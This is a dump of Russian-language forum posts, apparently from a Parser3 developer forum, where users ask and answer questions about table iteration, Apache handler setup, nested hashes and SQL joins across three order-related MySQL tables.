делать можно наверное только GET_DEFAULT-ом... но, когда делаешь\
\
 $Obj.InterData.L1.L2.L3\
\
то в @GET_DEFAULT[path]\
в $path приходит только InterData"
"81158","Сделать-то можно что угодно, но не факт что оно того стоит...\
\
[code]@main[]\
\
^get_hash[A.1]\
\
@get_hash[_key]\
$MyHash[\
  $.A[\
    $.1[A1]\
  ]\
]\
\
$result[$MyHash]\
\
$keys[^_key.split[.]]\
^keys.menu{\
    $result[$result.[$keys.piece]]\
}\
[/code]"
"81160","Может ли menu работать через 1? То есть мне нужно вызвать записи с четныи id.\
Или нужно использовать .offset внутри menu, смещая указатель на 1? \
up. Хотя c offset как-то не так, не сохрянается смещение."
"81161","Будьте проще. :)\
\
[code]^t.menu{^if(^t.line[]%2){первая, третья, и т.д строка}}[/code]"
"81162","В общем смысл такой:\
Была таблица с одной колонкой. В неё выводились записи последовательно через menu.\
Сейчас нужно разбить таблицу на 2 колонки. 1ая запись выводится в первую ячейку, 2ая - во вторую ячейку по горизонтали. Далее по циклу.\
[code]<table>\
^t.menu{\
<tr>\
  <td>\
     $car.id\
  </td>\
  ^t.offset(1) \
  <td>\
     $car.id\
  </td>\
</tr>\
}\
</tablе>\
[/code]\
Поскольку сдвиг указателя через offset не сохранаяется в следующей интерации - происходит повторение вывода. Жаль, что offset работает не так, как ожидалось.\
Наверно придется делать вычисляемый параметр типа offset(n+1)."
"81163","[code]$columns(2)\
\
<table>\
	<tr>\
	^table.menu{\
		<td>\
			$t.id\
		</td>\
	}{^if(^t.offset[] % $columns == 0)[</tr><tr>]}\
	</tr>\
</table>[/code]"
"81164","Это круто. Работает, но пока не пойму как )"
"81165","Реализовано, завтра будет в ночных сборках. Не сразу, но нашлось решение буквально в две строчки. \
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/string.C?r1=1.217&r2=1.218\
\
Кстати вот так тоже работало (и работает):\
^string.trim[;…]"
"81167","есть гибкая $a(5)\
\
нужна соответствующая $b[5.html], где 5 - переменная.\
\
^.html, {.html}, $b[.html] пока не катят :(."
"81168","Может кому-то пригодится.\
[url=\"http://www.web-parser.cf\"]My Webpage[/url]"
"81170","Не понимаю.\
\
Пишу (на всякий случай, сообщу, что эта строка внутри результатов ифа):\
\
[code]^file::create[text;/folder/$hrefblog;$bwa][/code]\
\
$hrefblog - вымученная-таки строка с содержимым \"123.html\". Проверено, с ней всё ок. Пробовал загонять в неё же полный путь, результат без изменений.\
\
$bwa - [code]$bwa[^^before^[^] ^^within^[^] ^^after^[^]][/code], обычное для меня содержимое индексов.\
\
[b]Ругается,[/b] показывая на слово create.\
\
Куда посмотреть на этот счёт?"
"81171","по сути -- мы не знаем что вы пытаетесь сделать.\
^file::create[] -- вызов конструктора для создания парсерного объекта типа file (а не файла на диске, как, возможно, вы считаете)."
"81173","[quote]создание сайта каким-то индусам[/quote]\
в 2015 году, а воз и нынче там\
[quote]$request:charset[windows-1251]\
$response:charset[windows-1251][/quote]"
"81174","По мне так вполне неплохая пошаговая инструкция, особенно ценная тем, что для писавшего это был первый опыт работы с парсером. Для себя заметил несколько моментов, которые нам стоит упросить в сборке/настройке..."
"81175","Никто не заставляет использовать windows-1251. Перечитай статью. Может поймёшь, для чего это было упомянуто."
"81176","Что стоит упростить?"
"81177","заменить жесткий wget на переменную, и в зависимости от доступности какого либо средства использовать его fetch, wget. В общем сделать свой make)\
А еще этот нехороший человек, который поддерживает pcre, не может сделать нормальную поддержку фтп, как мы уже тут обсуждали, зачем вообще удалять старые версии? Может все таки найдется человек, который вежливо изложим им вариант сделать ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.last.tar.gz или хотя бы текстовый файлик с последней стабильной версией )"
"81178","Хотя для индусов скорее всего что-то другое).\
Игра слов Индусы и windows-1251 :)"
"81179","А вот такой вопрос по поводу индусов. Они в потрохах сайта сделали каталог, куда накидали шаблонов. Потом в auto.p корневом каталоге наопределяли всяких переменных и прочего кода. В шаблоне в основном HTML и вызовы \"нарисуй хидер\", \"нарисуй тело\", \"нарисуй футер\". Потом это всё загружается из файла с последующим применением untaint. В итоге корневой index.html отображает правильно, а шаблон, который тоже index.html не показывает кусков сайта. Вообще подобные конструкции допустимы или нежелательны по причине вот таких возможных косяков?"
"81180","Сам решение придумал. Держать шаблоны в .htm, а http-серверу запретить отдавать .htm клиентам."
"81182","А где взять MySqlComp.p?"
"81184","Да уже сам нашёл. Спасибо."
"81185","Некоторое время как сделано в head. ^string.idna[]- закодировать, ^string:idna[encoded string] - декодировать.\
А в inet добавлены методы для ресолвинга по имени и по IP адресу - ^inet:ip2name[] и ^inet:name2ip[]."
"81187","^file::load[text;http://кто.рф/] работает, если вы об этом."
"81189","День добрый\
\
Пытаюсь переехать на ditgitalocean, запустил centos 6.6 поставил весту, настроил сайт, пытаюсь обработчиком файлов назначить парсер, делаю по документации и так как уже много раз делал на других хостингах\
\
Action parsed-html /cgi-bin/_parser343/parser3.cgi\
AddHandler parsed-html ttt php\
\
смысл в том что теперь *.php должны обрабатываться парсером (*.ttt просто для теста). не могу решить проблему - для ttt файлов - все ок, парсер обрабатывает их корректно, php код в них не выполняется . Для php - не работает, файлы все равно идут через php - пхп код исполняется, хоть и не должен, парсерный не работает.\
RemoveHandler php \\ RemoveHandler .php в начале не помогает. \
\
В чем может быть дело? сервер - апач."
"81190","RemoveHandler .php .phtml .php3\
RemoveType .php .phtml .php3\
php_flag engine off"
"81191","Теперь по крайней мере обработка php отключена, но парсер все равно не вызывается, то есть после: \
\
RemoveHandler .php .phtml .php3\
RemoveType .php .phtml .php3\
php_flag engine off\
\
AddHandler parsed-html php .php ttt \
Action parsed-html /cgi-bin/_parser343/parser3.cgi\
\
ttt - файлы парсером обрабатываются, php не обрабатываются ничем."
"81192","SetHandler вместо AddHandler решил проблему\
\
Action parsed-html /cgi-bin/_parser343/parser3.cgi\
<Files *.php>\
	SetHandler parsed-html\
</Files>"
"81193","Добрый день.\
Есть необходимость получать хеш хешей ... хешей таблиц с указанием уровней вложенности.\
Как я понимаю, из базы запросом этого сделать нельзя, если только для одного уровня через метод hash.\
\
Пример: есть таблица со столбцами `country`, `city`, `street`, `house`, данные из которой надо вывести с учетом разделения по странам, городам и улицам.\
Конечным уровнем должна быть таблица с домами для каждой улицы.\
\
Если брать отдельно запросами, то их получается много + заранее неизвестно, сколько надо выполнять подзапросов (города, улицы).\
\
Пробовал брать все одной таблицей, а из нее получать нужный хеш.\
Написал 2 метода, но один работает быстрее с данными, где много повторяющихся значений ключей, а второй - наоборот.\
\
Кто-нибудь пробовал реализовать подобное?"
"81194","а чем не устроила таблица? зачем именно хеши?"
"81195","Есть разные проверки на наличие значений в разных местах.\
\
С хешем можно было просто написать def $hData.country.1.city.2.street.3, чтобы проверить, есть ли дома в стране 1, городе 2, на улице 3.\
В случае таблицы надо писать ^tData.locate($tData.country==1 && $tData.city==2 && $tData.street==3).\
\
Как я понимаю, в случае таблицы идет перебор строк до первого вхождения, т.е. для проверки в цикле перебор будет вызываться каждый раз.\
В случае хеша, если не ошибаюсь, такого не происходит, получение значений идет быстрее."
"81196","Не такая уж и дорогая операция обходить таблицу с таким условием, а вот в случае хеша прийдется еще проверять и существование всех детишек по пути к нужной ноде либо ловить исключение."
"81197","Если исходная таблицы содержит 10-50 тысяч записей, то выбор через locate будет ощутим по времени.\
В случае хеша время уйдет на преобразование таблицы в хеш.\
Далее проверяем def $hData.country.1.city.2.street.3 без проверки вложенных уровней.\
\
Или locate по большой таблице будет быстрее, чем def по ключу хеша?"
"81198","Сколько таких проверок надо сделать за время обработки страницы? Если несколько, то затраты на построение требуемого хеша из таблицы не меньше.\
Если сотни - то да, locate будет медленнее. Но раз вас устраивает поиск по точному совпадению, то я бы настроил индексы в SQL сервере и им \
бы и проверял адреса, по индексам это должно быть быстро..."
"81199","Адреса я привел в качестве примера.\
\
Для построения отчета нужной взять 1000 записей из одной таблицы, а по ним 5000 - из другой. По этим 5000 надо получить данные из третьей таблицы.\
Если выбрать запросом данные из таблиц 2 и 3, а потом их перегнать в хеш, то все намного упростится.\
При этом хеш можно сформировать, один раз прокрутив объединенную таблицу, к которой потом уже не будет обращений.\
\
Если оставлять таблицы, то получим цикл на 1000 оборотов и столько же locate.\
Для ускорения делаю выборку хеша таблиц из таблицы 2.\
В итоге проверка имеет примерно такой вид:\
[code]^if(^tTable1.contains[$tTable1.field] && ^tTable1.locate($tTable1.field1==1 && ^tTable3.contains[$tTable1.field2] && $tTable3.field3==1))[/code]\
т.е. связываем все 3 таблицы в одном, что не особо удобно.\
\
Есть отчеты с бОльшим количеством записей в основном цикле, поэтому интересует, не будет ли вариант с хешем хешей работать быстрее многих locate."
"81200","[quote]Для построения отчета нужной взять 1000 записей из одной таблицы, а по ним 5000 - из другой. По этим 5000 надо получить данные из третьей таблицы.[/quote]\
\
Описание похоже на выборку из нескольких таблиц, что может и должен делать SQL сервер. А если так сделать нельзя - значит структура базы неправильная. Делать выборки руками на прикладном ПО имеет смысл в достаточно редком числе случаев.\
\
[quote]Есть отчеты с бОльшим количеством записей в основном цикле, поэтому интересует, не будет ли вариант с хешем хешей работать быстрее многих locate.[/quote]\
\
Сложность locate - линейна от числа элементов в таблице, сложность хеш-лукапа - логарифмична от числа элементов. Исходя из этого посчитайте число операций в обоих вариантах, да сравните."
"81201","А почему вы не хотите сделать просто SQL-запрос?\
[code]SELECT FROM table WHERE country = 1 AND city = 2 AND street = 3[/code]?\
Если таблиц несколько сделать JOIN"
"81202","Нужны данные из каждой таблицы.\
Выбираем несколько стран, по ним список городов, улиц и домов.\
Все это хранится в отдельных таблицах, а вывести надо вместе."
"81203","Структура примерно такая:\
Таблица 1: много полей, из которых field - это значение для многих записей в таблице 2.\
Таблица 2: много полей, из которых field2 - это значение для многих записей в таблице 3.\
\
В итоге берем запросом таблицу 1, подставляем значения из нее в запрос для таблицы 2, по которой берем таблицу 3.\
\
Можно сделать один запрос и сразу получить склеенные данные по трем таблицам, но это будет большая таблица на выходе + будут дублироваться значения полей из таблиц 1 и 2 для каждой записи таблицы 3.\
\
Возможно, есть какие-то еще способы получения данных трех таблицы и вывода их содержимого относительно друг друга.\
Мне казалось, что использование хеша должно ускорить процесс."
"81204","Может вы приведете более конкретный, реальный, пример?\
Я не могу себе представить для чего может быть нужно [i]показать[/i] такой огромный массив данных. Для многих стран количество даже городов нехилое, а улиц и домов вообще тысячи и миллионы.\
\
У меня пока ощущение, что вы делаете просто поиск адреса введенный пользователем, но для чего хотите из базы вытащить все варианты пока не понимаю"
"81205","Вот сокращенная структура (таблицы и поля из русских букв для наглядности):\
[code]CREATE TABLE `заказы` (\
  `код` int(11) unsigned NOT NULL AUTO_INCREMENT,\
  `номер_заявки` varchar(255) NOT NULL DEFAULT '',\
  PRIMARY KEY (`код`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
\
CREATE TABLE `заявки` (\
  `номер_родительской_заявки` int(11) unsigned NOT NULL DEFAULT '0',\
  `номер_дочерней_заявки` int(11) unsigned NOT NULL DEFAULT '0',\
  PRIMARY KEY (`номер_дочерней_заявки`),\
  KEY `номер_родительской_заявки` (`номер_родительской_заявки`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
\
CREATE TABLE `подключение_заявок` (\
  `номер_дочерней_заявки` int(11) unsigned NOT NULL DEFAULT '0',\
  `номер_заказа` int(11) unsigned NOT NULL DEFAULT '0',\
  PRIMARY KEY (`номер_дочерней_заявки`,`номер_заказа`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
[/code]\
В таблице заказов поле с номером заявки текстовое, т.к. есть разные типы заказов, не везде значение числовое.\
В разных заказах могут быть одинаковые номера заявок.\
Одна дочерняя заявка может быть подключена в разных заказах.\
\
В отчете требуется вывести список заказов и полей по ним за определенный период, поэтому данных может быть много.\
Также по каждому заказу надо вывести список дочерних заявок, по каждой из которых надо вывести список заказов, по которым было подключение.\
\
На текущий момент первую таблицу получаю в виде table, вторую - в виде хеша таблиц с ключом \"номер_родительской_заявки\", прокрутив перед этим первую таблицу для получения списка заявок.\
Появилась третья таблица, которую можно получить, прокрутив хеш таблиц с заявками, но мне кажется, что это не очень хороший вариант.\
\
Можно вторую и третья таблицу выбрать в одном запросе, а потом все это преобразовать к хешу хешей ... хешей таблиц, чтобы выводить заявки через foreach по номеру родительской заявки, а подключение - по номеру дочерней.\
Упрощенный пример:\
[code]\
	^СписокЗаказов.menu{\
		^СписокЗаявок.[$СписокЗаказов.номер_заявки].foreach[key;value]{\
			$key - номер дочерней заявки\
			^value.menu{\
				$value.номер_заказа - номер заказа, где было подключение\
			}\
		}\
	}\
[/code]\
В данном случае СписокЗаявок имеет структуру: хеш хеш таблица.\
\
Если получение хеша хешей - тупиковый вариант, то каким образом можно вывести данные по описанной схеме быстрее?"
"81206","Все что вы хотите решается через эти объединения.\
Честно говоря что-то не могу не как понять как эти таблицы объединятся, попробуйте сделать структурную схему http://edu.dvgups.ru/METDOC/ITS/STRPRO/INF_TEH_STR/METOD/SULDIN/frame/6.files/image009.gif . После этого будет намного проще написать SQL запрос."
"81207","Связи:\
1. `заявки`.`номер_родительской_заявки`=`заказы`.`номер_заявки`\
2. `подключение_заявок`.`номер_дочерней_заявки`=`заявки`.`номер_дочерней_заявки`\
`подключение_заявок`.`номер_заказа`=`заказы`.`код`\
\
Пример:\
[b]заказы:[/b]\
код=1, номер заявки=22\
[b]заявки:[/b]\
номер_родительской_заявки=22, номер_дочерней_заявки=333\
номер_родительской_заявки=22, номер_дочерней_заявки=444\
номер_родительской_заявки=22, номер_дочерней_заявки=555\
[b]подключение_заявок:[/b]\
номер_дочерней_заявки=444, номер_заказа=1\
номер_дочерней_заявки=444, номер_заказа=2\
\
В случае использования LEFT JOIN получим 2 записи на дочернюю заявку 444, т.е. число записей по дочерним заявкам будет не 3, как должно быть, а 4.\
Если другие заявки также подключали в нескольких заказах, то записей будет больше, из-за чего надо будет вычислять количество уникальных дочерних заявок."
"81208","Можете дать sql данные, не критичные. Я попробую вам помочь с sql запросом."
"81209","Заполнение данных для приведенной ранее структуры таблиц:\
[code]\
INSERT INTO `заказы` (`код`,`номер_заявки`) VALUES (1,'22'),(2,'22'),(3,'44');\
INSERT INTO `заявки` (`номер_родительской_заявки`,`номер_дочерней_заявки`) VALUES (22,333),(22,444),(22,555);\
INSERT INTO `подключение_заявок` (`номер_дочерней_заявки`,`номер_заказа`) VALUES (444,1),(444,2);\
[/code]\
Надо вывести все данные по заказам (+ количество дочерних заявок), заявкам (+ количество подключений) и подключениям."
"81210","А в чем проблема написать метод, создающий из таблицы хэш?\
Если лукапов будет много, то его создание себя оправдает.\
\
[quote]Написал 2 метода, но один работает быстрее с данными, где много повторяющихся значений ключей, а второй - наоборот.[/quote]\
\
где код? :)"
"81211","[quote]На текущий момент первую таблицу получаю в виде table, вторую - в виде хеша таблиц с ключом \"номер_родительской_заявки\", прокрутив перед этим первую таблицу для получения списка заявок.[/quote]\
\
всё достать как таблицы и из второго и третьего уровней хэши таблиц. \
при выводе будет три вложенных menu. не?"
"81212","Можно, но проблема в том, что для получения второй таблицы надо будет прокрутить первую таблицу, чтобы склеить значения ключевого поля.\
Чтобы получить третью таблицу, надо будет прокрутить вторую таблицу.\
\
В итоге получится, что затрачиваем ресурсы на 3 таблицы + 2 хеша таблиц.\
Хочется избежать лишних menu, locate и т.д., чтобы не перегружать."
"81213","Не стал приводить код сразу, т.к. оба варианта не оптимизированы.\
Комментарий приводится относительно другого метода.\
Сравнивание шло по $status:memory.used.\
Второй вариант писался для сравнения, поэтому в нем есть не все, что реализовано в первом.\
Вариант 1:\
1. Потребляет меньше ресурсов, если в значениях ключей первых уровней много повторяющихся значений.\
2. Есть подсчет количества записей по уровням хеша.\
3. Можно задать значения полей для разных уровней хеша, чтобы можно было получить данные без обращения к самому последнему уроню хеша (таблица).\
[code]@getHashOfHash[hInput][hResult;tKey;bField;tField;hField]\
	^if(!^hInput.contains[iKey]){\
		$hResult[^hash::create[]]\
		$hResult.[$hInput.hLevel.1.key][^getHashOfHash[\
			$.tData[$hInput.tData]\
			$.hLevel[$hInput.hLevel]\
			$.iKey(1)\
		]]\
	}{\
		$hResult[^hInput.tData.hash[$hInput.hLevel.[$hInput.iKey].key][$hHASH_TABLE_PARAM]]\
		$tKey[^hResult._keys[]]\
		$bField(^hInput.hLevel.contains[$hInput.iKey] && ^hInput.hLevel.[$hInput.iKey].contains[field])\
		^if($bField){\
			$tField[^hInput.hLevel.[$hInput.iKey].field.split[,;;name]]\
		}\
		^hInput.iKey.inc[]\
		^if(^hInput.hLevel.contains[$hInput.iKey]){\
			^tKey.menu{\
				^if($bField){\
					$hField[^tField.menu{\
						$.[$tField.name][$hResult.[$tKey.key].[$tField.name]]\
					}]\
				}\
				$hResult.[$tKey.key][\
					$.[$hInput.hLevel.[$hInput.iKey].key][^getHashOfHash[\
						$.tData[$hResult.[$tKey.key]]\
						$.hLevel[$hInput.hLevel]\
						$.iKey($hInput.iKey)\
					]]\
				]\
				^if($bField){\
					^hResult.[$tKey.key].add[$hField]\
				}\
				$hResult.[$tKey.key].data_count($hResult.[$tKey.key].data_count+$hResult.[$tKey.key].[$hInput.hLevel.[$hInput.iKey].key].data_count)\
				$hResult.data_count($hResult.data_count+$hResult.[$tKey.key].[$hInput.hLevel.[$hInput.iKey].key].data_count)\
			}\
		}{\
			^hInput.iKey.dec[]\
			$tKey[^hResult._keys[]]\
			^tKey.menu{\
				$hResult.data_count($hResult.data_count+^hResult.[$tKey.key].count[])\
			}\
		}\
	}\
	$result[$hResult]\
[/code]\
\
Вариант 2:\
1. Потребляет меньше ресурсов, если в значениях ключей первых уровней много разных значений.\
[code]@getHashOfHash[hInput][hResult;iKeyLast;hTemp;key;value]\
	$hResult[^hash::create[]]\
	$iKeyLast(^hInput.hLevel._count[])\
	^hInput.tData.menu{\
		$hTemp[$hResult]\
		^hInput.hLevel.foreach[key;value]{\
			^if(!^hTemp.contains[$value.key]){\
				$hTemp.[$value.key][^hash::create[]]\
			}\
			^if($key<$iKeyLast){\
				^if(!^hTemp.[$value.key].contains[$hInput.tData.[$value.key]]){\
					$hTemp.[$value.key].[$hInput.tData.[$value.key]][^hash::create[]]\
				}\
			}(!^hTemp.[$value.key].contains[$hInput.tData.[$value.key]]){\
				$hTemp.[$value.key].[$hInput.tData.[$value.key]][^table::create[$hInput.tData;\
					$.offset(^hInput.tData.offset[])\
					$.limit(1)\
				]]\
			}{\
				^hTemp.[$value.key].[$hInput.tData.[$value.key]].join[$hInput.tData;\
					$.offset(^hInput.tData.offset[])\
					$.limit(1)\
				]\
			}\
			$hTemp[$hTemp.[$value.key].[$hInput.tData.[$value.key]]]\
		}\
	}\
	$result[$hResult][/code]"
"81214","[code]SELECT\
`заказы`.`код`,\
`заказы`.`номер_заявки`,\
`заявки`.`номер_родительской_заявки`,\
`подключение_заявок`.`номер_дочерней_заявки`\
FROM\
`подключение_заявок`\
RIGHT JOIN `заявки` ON `подключение_заявок`.`номер_дочерней_заявки` = `заявки`.`номер_дочерней_заявки`\
RIGHT JOIN `заказы` ON `подключение_заявок`.`номер_заказа` = `заказы`.`код`\
ORDER BY\
`заказы`.`код` ASC,\
`заказы`.`номер_заявки` ASC\
[/code]\
[code]SELECT\
`заказы`.`код`,\
`заявки`.`номер_родительской_заявки`,\
`заявки`.`номер_дочерней_заявки`\
FROM\
`заказы`\
RIGHT JOIN `заявки` ON `заявки`.`номер_родительской_заявки` = `заказы`.`номер_заявки`\
ORDER BY\
`заказы`.`код` ASC,\
`заявки`.`номер_родительской_заявки` ASC,\
`заявки`.`номер_дочерней_заявки` ASC\
[/code]\
Да здесь есть дубли, все зависит от того что надо, можно ими манипулировать и при правильной сортировки сделать при выдаче разделители\
допустим у вас основной момент `заказы`.`код`, как только встретили первый уникальный КОД выдаем, заголовок \"Заказы по № `заказы`.`код`\" и выводим то что вам надо, если группировка может быть еще по какому-то значению то и его мониторите и делаете еще отбивку.\
Таким образом вы за один раз получаете кучу данных, и проходите по ним только один раз, сравниваете только предыдущие значения от основных полей и отбиваете их заголовками или подзаголовками. \
\
Главное правильно выбрать поля для сортировки."
"81215","Такой метод удобен, если надо, например, вывести данные с разбивкой по датам.\
В моем случае надо вывести информацию по полям заказа, количество дочерних заявок, подключен или нет - в одной строке.\
В случае одной таблицы это сделать не получится, т.к. первая строка будет содержать данные по заказу, но никак не количество заявок и подключений.\
\
Также есть особенность: поле в заказах текстовое, т.к. есть различные типы заказов, но не все связаны с таблицей заявок.\
Перекрестный запрос по таблицам заказов и заявок тяжелый, поэтому не подходит.\
Если даже сделать отдельное числовое поле для связки с заявками, все равно такой связки таблиц лучше избежать."
"81216","не понял. зачем?\
судя по вашей структуре:\
[code]\
CREATE TABLE `заказы` (\
  `код` int(11) unsigned NOT NULL AUTO_INCREMENT,\
  `номер_заявки` varchar(255) NOT NULL DEFAULT '',\
  PRIMARY KEY (`код`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
\
CREATE TABLE `заявки` (\
  `номер_родительской_заявки` int(11) unsigned NOT NULL DEFAULT '0',\
  `номер_дочерней_заявки` int(11) unsigned NOT NULL DEFAULT '0',\
  PRIMARY KEY (`номер_дочерней_заявки`),\
  KEY `номер_родительской_заявки` (`номер_родительской_заявки`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
\
CREATE TABLE `подключение_заявок` (\
  `номер_дочерней_заявки` int(11) unsigned NOT NULL DEFAULT '0',\
  `номер_заказа` int(11) unsigned NOT NULL DEFAULT '0',\
  PRIMARY KEY (`номер_дочерней_заявки`,`номер_заказа`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
[/code]\
\
и вашему коду:\
[code]\
	^СписокЗаказов.menu{\
		^СписокЗаявок.[$СписокЗаказов.номер_заявки].foreach[key;value]{\
			$key - номер дочерней заявки\
			^value.menu{\
				$value.номер_заказа - номер заказа, где было подключение\
			}\
		}\
	}\
[/code]\
\
если я правильно понял (хотя я не до конца понял смысла номер_родительской_заявк, это связь многие ко многим? по каким ключам?), получится примерно так:\
[code]\
$tЗаказы[^sql:table{SELECT * FROM заказы}]\
$tЗаявки[^sql:table{SELECT * FROM заявки}]\
$tПодключения[^sql:table{SELECT * FROM подключение_заказов}]\
$hЗаявки[^tЗаявки.hash[номер_дочерней_заявки;$.distinct(true) $.type[table]]]\
$hПодключения[^tПодключения.hash[номер_заказа;$.distinct(true) $.type[table]]]\
\
^tЗаказы.menu{\
	^hПодключения.[$tЗаказы.номер_заказа].menu{\
		^hЗаявки.[$hПодключения.[$tЗаказы.номер_заказ].номер_дочерней_заявки].menu{\
			...\
		}\
	}\
}[/code]"
"81217","В таблице заказов больше 1 млн записей (пока), в нескольких заказах может быть один номер заявки.\
В таблице дочерних заявок записей еще больше, т.к. на одну родительскую может быть много дочерних заявок.\
В таблице подключений может быть несколько записей на один номер дочерней заявки.\
\
Выбирать надо заказы, крутить в цикле для получения списка номеров заявок, получать список заявок, которые также крутить и получать список подключений.\
Это только выборка, а для вывода снова крутим все 3 объекта с данными.\
\
Пытаюсь как-то уменьшить нагрузку и время работы подобных отчетов, поэтому и подумал про хеш."
"81218","[quote]В таблице заказов больше 1 млн записей (пока),[/quote]\
\
кто будет читать выведенную таблицу с 1 млн записей?\
в любом случае, разбиение больших таблиц по каким-либо критериям никто не отменял (по 1000 записей, по месяцам, итд)\
\
[quote]Выбирать надо заказы, крутить в цикле для получения списка номеров заявок, получать список заявок, которые также крутить и получать список подключений.[/quote]\
\
извините, но я не особо понял понял, т.к. приведённая структура таблиц говорит о другом отношении между заказами, заявками и подключениями. хотя приведённая структура для меня не достаточна, сбивают с толку названия стролбцов.\
\
я вам привёл готовый код. что с ним не так (кроме опечатки)? в плане памяти он очень эффективен, т.к. при создании хэша таблиц строки не дублируются. внутри создаются табличные объекты, в которые помещаются ссылки на строки уже существующей таблицы.\
в плане производительности -- тут всё зависит от количества обрабатываемых данных.\
извините, но с миллионом записей первого уровня вы упрётесь в проблемы производительности в любом случае и их не решить хэшами или ещё чем."
"81219","https://www.gliffy.com/\
https://www.draw.io/\
\
или какой-нить MySQL Workbench"
"81220","Выводимая таблица не будет на 1 млн строк, но 1000+ может быть спокойно.\
В вашем примере:\
1. Первую таблицу надо прокрутить 2 раза (для получения второй таблицы и формирования отчета).\
2. Вторую таблицу надо прокрутить 1 раз (для получения третьей таблицы) + сделать из нее хеш таблиц, который потом надо будет прокручивать на каждый заказ по ключу хеша.\
3. Третья таблица получается сразу в виде хеша таблиц, который потом надо будет прокручивать на каждую дочернюю заявку по ключу хеша.\
\
В итоге получаем 4 объекта:\
1. Таблица 1 в виде table (2 полных прокрутки через menu).\
2. Таблица 2 в виде table и hash table (1 полная прокрутка table и прокрутка хеша таблиц на каждую дочернюю заявку).\
3. Таблица 3 в виде hash table (прокрутка хеша таблиц на каждую дочернюю заявку).\
\
Так у меня и сделано, но была мысль взять вторую и третью таблицы одним запросом, который превратить в хеш хешей таблиц, т.е. 2 таблицы и 1 хеш хешей таблиц.\
Мне казалось, что конструкция\
[code]$hData.[заказы.номер_заявки].[заявки.номер_дочерней_заявки].[номер_заказа].поле_из_таблицы_подключения[/code]\
будет работать быстрее, чем вызов\
[code]^if(^Подключения.contains[заявки.номер_дочерней_заявки] && ^Подключения.[заявки.номер_дочерней_заявки].locate($Подключения.[заявки.номер_дочерней_заявки].номер_заказа==$Заказы.код && $Подключения.[заявки.номер_дочерней_заявки].поле1_из_таблицы_подключения==...)){\
	$Подключения.[заявки.номер_дочерней_заявки].поле2_из_таблицы_подключения\
}[/code]\
Таких проверок может быть несколько на каждое подключение + проверки на разные поля и по разным номерам заказов в одной строке на заказ (таблица 1).\
\
Меня смущает множественный locate по третьей таблице, т.к. это не очень удобно в использовании, а вызов конечного значения из хеша гораздо проще.\
[b]Приведенные конструкции с locate будут быстрее, чем получение последнего ключа хеша из примера?[/b]"
"81221","[quote]\
В вашем примере:\
1. Первую таблицу надо прокрутить 2 раза (для получения второй таблицы и формирования отчета).\
[/quote]\
\
ну как бы нет.\
по ней делаем menu только один раз, при выводе.\
\
[quote]\
2. Вторую таблицу надо прокрутить 1 раз (для получения третьей таблицы) + сделать из нее хеш таблиц, который потом надо будет прокручивать на каждый заказ по ключу хеша.\
[/quote]\
\
как бы тоже нет.\
явно -- один раз, при выводе.\
неявно -- дважды. второй раз при создании из неё хэша таблиц.\
в вашем коде, кстати, я не видел хэша таблиц вообще. я видел хэш хэшей:\
[code]\
^СписокЗаявок.[$СписокЗаказов.номер_заявки].foreach[key;value]{...}\
[/code]\
\
[quote]\
3. Третья таблица получается сразу в виде хеша таблиц, который потом надо будет прокручивать на каждую дочернюю заявку по ключу хеша.\
[/quote]\
\
хм. я и забыл, что парсер так умеет :)\
но на самом деле это то-же самое, что получение таблицы и последующее получение из неё хэша таблиц.\
\
[quote]\
В итоге получаем 4 объекта:\
[/quote]\
\
да пофиг, строки (текст) то не копируются. и ячейки тоже. я-же написал, что в результирующих таблицах в хэше таблиц просто помещаются ссылки на строки (строки таблицы) исходной таблицы.\
\
[quote]\
была мысль взять вторую и третью таблицы одним запросом, который превратить в хеш хешей таблиц\
[/quote]\
\
так вы потратите много памяти на передачу от sql сервера, т.к. при join количество строк увеличится и будут переданы дублирующиеся текстовые строки, которые вам по сути не нужны.\
\
[quote]\
Мне казалось, что конструкция\
...вложенный хэш лукап...\
будет работать быстрее, чем вызов \
...contains + locate...\
[/quote]\
\
да, она будет быстрее почти всегда. contains (вызов метода) + locate (ещё один вызов метода с линейной зависимостью от количества записей, как уже упомянул moko@) будет однозначно медленнее при большом кол-ве строк в таблицах.\
\
P.S. я закончил, т.к. я до конца так и не понял структуру ваших данных, а без этого обсуждать нечего. код для создания вашего вложенного хэша я тоже не понял, для меня он \"мутный\", странный и черезчур сложный, но оценить его корректность/оптимальность я не могу, т.к. не понимаю структуру данных."
"81222","Вот схема: http://mepic.ru/view/?id=0358d4a86fffddf0e9cff29b77fb2007\
Примечание: в таблице подключений может быть запись с номером заказа 0 - подключение для всех заказов с такой дочерней заявкой.\
По поводу циклов не согласен: заказы надо крутить 2 раза, т.к. сначала надо получить список номеров заявок, которые подставляем в запрос для получения дочерних заявок, а потом уже для прорисовки строк.\
Дочерние заявки также надо будет крутить для получения подключений.\
\
[b]Добавлено:[/b]\
Весь замысел был в том, что можно взять, например, таблицу дочерних заявок и сделать из нее упорядоченную структуру, даже без выбора лишних данных, например:\
номер_родительской_заявки\
	тип_дочерней_заявки\
		номер_дочерней_заявки\
\
В этом случае можно получать данные по нужным уровням хеша, а в случае таблицы - только locate.\
Хеш таблиц запросом или методом hash по документации можно получить только для одного уровня."
"81223","Вы знаете чего - расскажите немного о бизнес-логике вашего приложения. Что оно собственно делает, что такое заказ, что такое заявка и особенно что такое подключение заявки... что зачем следует, откуда что берется и что от чего зависит. Обычным человеческим языком объясните. Потому что я, как и Misha - ничего не понял в ваших данных"
"81224","Заказ - это запись на обращение клиента.\
Заявка - это заказ во внешней системе (заключен договор на оказание услуг от имени \"внешней системы\").\
Подключение - отметка о том, были ли подключены услуги и по каким заказам.\
\
Клиент обращается с просьбой подключить какие-либо услуги.\
Во внешней системе создается заявка, которая попадает к нам.\
В таблицу дочерних заявок пишутся заявки, которые соответствуют каждая своей услуге. При этом на один вид услуги может быть несколько заявок.\
Когда происходит подключение, в соответствующую таблицу пишется, в рамках какого заказа (обращения клиента) подключена услуга."
"81225","Я бы пересмотрел структуру, она просто не отвечает каким либо нормалям.\
Добавил бы статустов как в сами заказы, так и заявки\
Переназвал бы все, как таблицы так и поля. Кондратий берет, когда все пытаешься в голове уложить.\
\
